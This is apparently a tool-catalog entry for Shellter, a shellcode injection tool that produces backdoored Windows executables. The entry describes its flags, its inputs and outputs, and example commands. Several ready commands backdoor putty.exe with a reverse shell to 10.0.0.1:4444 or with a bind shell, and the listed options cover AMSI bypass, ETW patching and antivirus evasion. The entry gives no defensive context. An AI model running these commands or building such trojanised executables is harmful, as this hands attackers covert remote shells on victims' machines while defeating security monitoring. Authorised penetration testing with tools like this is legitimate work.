Dynamic shellcode injection tool for creating backdoored portable executables while maintaining original functionality.
shellter --pe {target-exe} 🌍 target-exe → /path/to/putty.exe shellter --pe {target-exe}Sandbox: execFile · Timeout: 300s
shellcode.injection pe.backdooring av.evasion payload.embedding | Name | Type | Required | Default | Description | Aliases |
|---|---|---|---|---|---|
flag-pe | string | No | - | Target PE file path | --pe |
flag-shellcode | string | No | - | Custom shellcode file | --shellcode |
reverse-ip | string | No | - | Reverse shell IP | --reverse-ip |
reverse-port | integer | No | - | Reverse shell port | --reverse-port |
bind-port | integer | No | - | Bind shell port | --bind-port |
flag-o | string | No | - | Output file path | -o, --output |
flag-m | string | No | - | Mode (auto/manual) | -m, --mode |
flag-no-amsi | boolean | No | - | Disable AMSI bypass | --no-amsi |
flag-quiet | boolean | No | - | Quiet output mode | --quiet |
flag-v | boolean | No | - | Verbose output | -v, --verbose |
bind_ip | boolean | No | - | Bind shell bind IP | --bind-ip |
h | boolean | No | - | Show this help message | -h, --help |
no_etc | boolean | No | - | Disable ETW patching | --no-etc |
Inputs
file.pe Target Windows PE file to backdoor
shellcode.binary Shellcode to inject (or auto-generate)
network.lhost Listener IP for reverse shell
network.lport Listener port for reverse shell
Outputs
file.pe.backdoored Backdoored PE file
filesystem_write Produces
file.pe.backdooredConsumes
file.peshellcode.binarynetwork.lhostnetwork.lport| Resource | Value |
|---|---|
| CPU | medium |
| Memory | 256 MB |
| Network | low |
| Disk I/O | medium |
Auto-backdoor a PE with reverse shell
shellter --pe putty.exe --reverse-ip 10.0.0.1 --reverse-port 4444 -m autoManual mode for custom injection
shellter --pe putty.exe -m manualInject custom shellcode
shellter --pe putty.exe --shellcode shellcode.binBackdoor with bind shell
shellter --pe putty.exe --bind-port 4444 -m autoQuiet mode with custom output
shellter --pe putty.exe --reverse-ip 10.0.0.1 --reverse-port 4444 -o backdoor.exe --quietBackdoor with AMSI disabled
shellter --pe putty.exe --reverse-ip 10.0.0.1 --reverse-port 4444 --no-amsiShellter is a dynamic shellcode injection tool that creates backdoored versions of legitimate Windows Portable Executable (PE) files while preserving their original functionality. It works by injecting shellcode into the target PE at runtime, enabling AV evasion.